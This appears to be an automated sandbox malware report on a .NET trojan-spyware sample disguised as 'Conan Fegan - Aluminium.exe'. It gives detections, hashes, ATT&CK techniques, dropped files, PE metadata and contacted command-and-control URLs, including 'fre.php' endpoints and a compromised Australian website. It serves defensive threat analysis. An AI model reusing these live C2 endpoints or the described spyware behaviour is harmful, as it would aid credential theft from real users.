Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Process Injection112	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Deobfuscate/Decode Files or Information1	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Obfuscated Files or Information41	DCSync	File and Directory Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing12	Proc Filesystem	System Information Discovery13	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Conan Fegan - Aluminium.exe	100%	Avira	HEUR/AGEN.1138558
Conan Fegan - Aluminium.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.Conan Fegan - Aluminium.exe.3eccf90.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
5.2.Conan Fegan - Aluminium.exe.c20000.1.unpack	100%	Avira	HEUR/AGEN.1138558	Download File
5.0.Conan Fegan - Aluminium.exe.c20000.0.unpack	100%	Avira	HEUR/AGEN.1138558	Download File
0.2.Conan Fegan - Aluminium.exe.960000.0.unpack	100%	Avira	HEUR/AGEN.1138558	Download File
0.0.Conan Fegan - Aluminium.exe.960000.0.unpack	100%	Avira	HEUR/AGEN.1138558	Download File
5.2.Conan Fegan - Aluminium.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.fontbureau.comionF	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/;	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cnO	0%	Avira URL Cloud	safe
http://kbfvzoboss.bid/alien/fre.php	0%	Avira URL Cloud	safe
http://www.fonts.comc	0%	URL Reputation	safe
http://www.fonts.comc	0%	URL Reputation	safe
http://www.fonts.comc	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.ritcophysiotherapy.com.au/wap121/five/fre.php	0%	Avira URL Cloud	safe
http://alphastand.top/alien/fre.php	0%	Avira URL Cloud	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm-	0%	Avira URL Cloud	safe
http://alphastand.win/alien/fre.php	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://alphastand.trade/alien/fre.php	0%	Avira URL Cloud	safe
http://www.fontbureau.coma	0%	URL Reputation	safe
http://www.fontbureau.coma	0%	URL Reputation	safe
http://www.fontbureau.coma	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn/	0%	URL Reputation	safe
http://www.founder.com.cn/cn/	0%	URL Reputation	safe
http://www.founder.com.cn/cn/	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn9	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.ascendercorp.com/typedesigners.html	0%	URL Reputation	safe
http://www.ascendercorp.com/typedesigners.html	0%	URL Reputation	safe
http://www.ascendercorp.com/typedesigners.html	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.coma	0%	URL Reputation	safe
http://www.sajatypeworks.coma	0%	URL Reputation	safe
http://www.sajatypeworks.coma	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.fontbureau.commi	0%	Avira URL Cloud	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.founder.com.cn/cng	0%	Avira URL Cloud	safe
https://www.ritcophysiotherapy.com.au/wap121/five/fre.php	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cnFk	0%	Avira URL Cloud	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.ritcophysiotherapy.com.au	203.170.84.89	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://kbfvzoboss.bid/alien/fre.php	true	Avira URL Cloud: safe	unknown
http://www.ritcophysiotherapy.com.au/wap121/five/fre.php	true	Avira URL Cloud: safe	unknown
http://alphastand.top/alien/fre.php	true	Avira URL Cloud: safe	unknown
http://alphastand.win/alien/fre.php	true	Avira URL Cloud: safe	unknown
http://alphastand.trade/alien/fre.php	true	Avira URL Cloud: safe	unknown
https://www.ritcophysiotherapy.com.au/wap121/five/fre.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.comionF	Conan Fegan - Aluminium.exe, 00000000.00000003.650636211.0000000005B50000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/;	Conan Fegan - Aluminium.exe, 00000000.00000003.636508473.0000000005B58000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cnO	Conan Fegan - Aluminium.exe, 00000000.00000003.636508473.0000000005B58000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false		high
http://www.fonts.comc	Conan Fegan - Aluminium.exe, 00000000.00000003.635133696.0000000005B6B000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false		high
http://www.ibsensoftware.com/	Conan Fegan - Aluminium.exe, Conan Fegan - Aluminium.exe, 00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.tiro.com	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm-	Conan Fegan - Aluminium.exe, 00000000.00000003.650636211.0000000005B50000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.goodfont.co.kr	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.coma	Conan Fegan - Aluminium.exe, 00000000.00000003.650636211.0000000005B50000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css	Conan Fegan - Aluminium.exe, 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	false		high
http://www.carterandcone.coml	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	Conan Fegan - Aluminium.exe, 00000000.00000003.634766145.0000000005B53000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn/	Conan Fegan - Aluminium.exe, 00000000.00000003.636630818.0000000005B56000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	Conan Fegan - Aluminium.exe, 00000000.00000003.636344129.0000000005B57000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn9	Conan Fegan - Aluminium.exe, 00000000.00000003.636508473.0000000005B58000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jiyu-kobo.co.jp/	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false		high
http://www.ascendercorp.com/typedesigners.html	Conan Fegan - Aluminium.exe, 00000000.00000003.638473832.0000000005B8D000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fonts.com	Conan Fegan - Aluminium.exe, 00000000.00000003.635133696.0000000005B6B000.00000004.00000001.sdmp	false		high
http://www.sandoll.co.kr	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.coma	Conan Fegan - Aluminium.exe, 00000000.00000003.634766145.0000000005B53000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.commi	Conan Fegan - Aluminium.exe, 00000000.00000003.650636211.0000000005B50000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zhongyicts.com.cn	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cng	Conan Fegan - Aluminium.exe, 00000000.00000003.636344129.0000000005B57000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cnFk	Conan Fegan - Aluminium.exe, 00000000.00000003.636140982.0000000005B5E000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sakkal.com	Conan Fegan - Aluminium.exe, 00000000.00000002.652969440.0000000005CD0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
203.170.84.89	unknown	Australia		38719	DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	356211
Start date:	22.02.2021
Start time:	19:12:10
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Conan Fegan - Aluminium.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/3@88/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 90% (good quality ratio 86.4%) Quality average: 77% Quality standard deviation: 28.6%
HCA Information:	Successful, ratio: 100% Number of executed functions: 66 Number of non-executed functions: 11
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 52.255.188.83, 52.147.198.201, 23.54.113.53, 168.61.161.212, 40.88.32.150, 51.104.139.180, 52.155.217.156, 20.54.26.129, 2.20.142.210, 2.20.142.209, 51.104.144.132, 92.122.213.194, 92.122.213.247, 51.11.168.160 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, a1449.dscg2.akamai.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, audownload.windowsupdate.nsatc.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/356211/sample/Conan Fegan - Aluminium.exe

Simulations

Behavior and APIs

Time	Type	Description
19:12:58	API Interceptor	86x Sleep call for process: Conan Fegan - Aluminium.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
203.170.84.89	IMG-2021-17-02557000015.gz.exe	Get hash	malicious	Browse	www.ritcophysiotherapy.com.au/wap121/five/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.ritcophysiotherapy.com.au	IMG-2021-17-02557000015.gz.exe	Get hash	malicious	Browse	203.170.84.89

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DREAMSCAPE-AS-APDreamscapeNetworksLimitedAU	DHL Document. PDF.exe	Get hash	malicious	Browse	103.67.235.120
	urgent specification request.exe	Get hash	malicious	Browse	27.54.83.1
	IMG-2021-17-02557000015.gz.exe	Get hash	malicious	Browse	203.170.84.89
	Purchase Enquiry.exe	Get hash	malicious	Browse	103.67.235.120
	BELZONA Specification.exe	Get hash	malicious	Browse	103.67.235.120
	Shipment Document-REF-INV_Pdf.exe	Get hash	malicious	Browse	103.67.235.120
	q5oRsfy1vk.exe	Get hash	malicious	Browse	103.67.235.120
	Client.vbs	Get hash	malicious	Browse	203.170.80.250
	Copy_#_824.xls	Get hash	malicious	Browse	203.170.84.193
	Copy_#_824.xls	Get hash	malicious	Browse	203.170.84.193
	Copy_#_824.xls	Get hash	malicious	Browse	203.170.84.193
	Notification #591501.xls	Get hash	malicious	Browse	203.170.84.193
	Note #83008.xls	Get hash	malicious	Browse	203.170.84.193
	Notification #591501.xls	Get hash	malicious	Browse	203.170.84.193
	Notification #591501.xls	Get hash	malicious	Browse	203.170.84.193
	Scan 108.xls	Get hash	malicious	Browse	203.170.84.193
	Scan 108.xls	Get hash	malicious	Browse	203.170.84.193
	Scan 108.xls	Get hash	malicious	Browse	203.170.84.193
	inv.exe	Get hash	malicious	Browse	203.170.80.250
	https://nimb.ws/10IXxl	Get hash	malicious	Browse	103.28.48.147

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Conan Fegan - Aluminium.exe.log Download File
Process:	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4x84qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4j:MIHK5HKXE1qHxviYHKhQnoPtHoxHhAHY
MD5:	69206D3AF7D6EFD08F4B4726998856D3
SHA1:	E778D4BF781F7712163CF5E2F5E7C15953E484CF
SHA-256:	A937AD22F9C3E667A062BA0E116672960CD93522F6997C77C00370755929BA87
SHA-512:	CD270C3DF75E548C9B0727F13F44F45262BD474336E89AAEBE56FABFE8076CD4638F88D3C0837B67C2EB3C54055679B07E4212FB3FEDBF88C015EB5DBBCD7FF8
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck Download File
Process:	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\bc49718863ee53e026d805ec372039e9_d06ed635-68f6-4e9a-955c-4899f5f57b9a Download File
Process:	C:\Users\user\Desktop\Conan Fegan - Aluminium.exe
File Type:	data
Category:	dropped
Size (bytes):	16054
Entropy (8bit):	0.6032389203630698
Encrypted:	false
SSDEEP:	12:4/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/g/gc:s
MD5:	E9856AAF2BC6ABAAE1AA2CC5F0CC660D
SHA1:	86D357DD16FB79826BE759815CD9C0487873B899
SHA-256:	F48ADD5B1FBF19A72C9BC8F98DAB0EFB099E2DFC573F3996410836A8491DFE08
SHA-512:	FD969883E96613993D240F9E7C233734B94A7B730B6618BE15D62730F739E829554FC70156818BD42EBEC3D2E1465B5F76230459348254C15C3E67ED962AD366
Malicious:	false
Reputation:	low
Preview:	........................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user...................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.251631180417383
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Conan Fegan - Aluminium.exe
File size:	398848
MD5:	708ee64939578fbb07010e20f6c7672c
SHA1:	335dc9a9142b528848b8446be2afda844f6d673f
SHA256:	f1a43d8b49bda3c88eb1c314c9460a92c0b467ea8db4c9086ac8e3bfe358e511
SHA512:	0760e722df49e3a10b26320b54648029c1d7e2862bca7f1bc4d9a60cf9a46a6d847eb3a86825ea1faa59aaa93725d601cee8c3167f4a8fe01ff4454e823fec9a
SSDEEP:	6144:cHxKPS22Xs/zVtvkuv4O+IpTXeUJ/K5Yd1OpGLFGY1bON94r:cfXs/vV+IFLiA4Q4Y1bDr
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A.3`..............P..............*... ...@....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x462ae6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6033CE41 [Mon Feb 22 15:31:13 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x62a94	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x64000	0x5e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x66000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
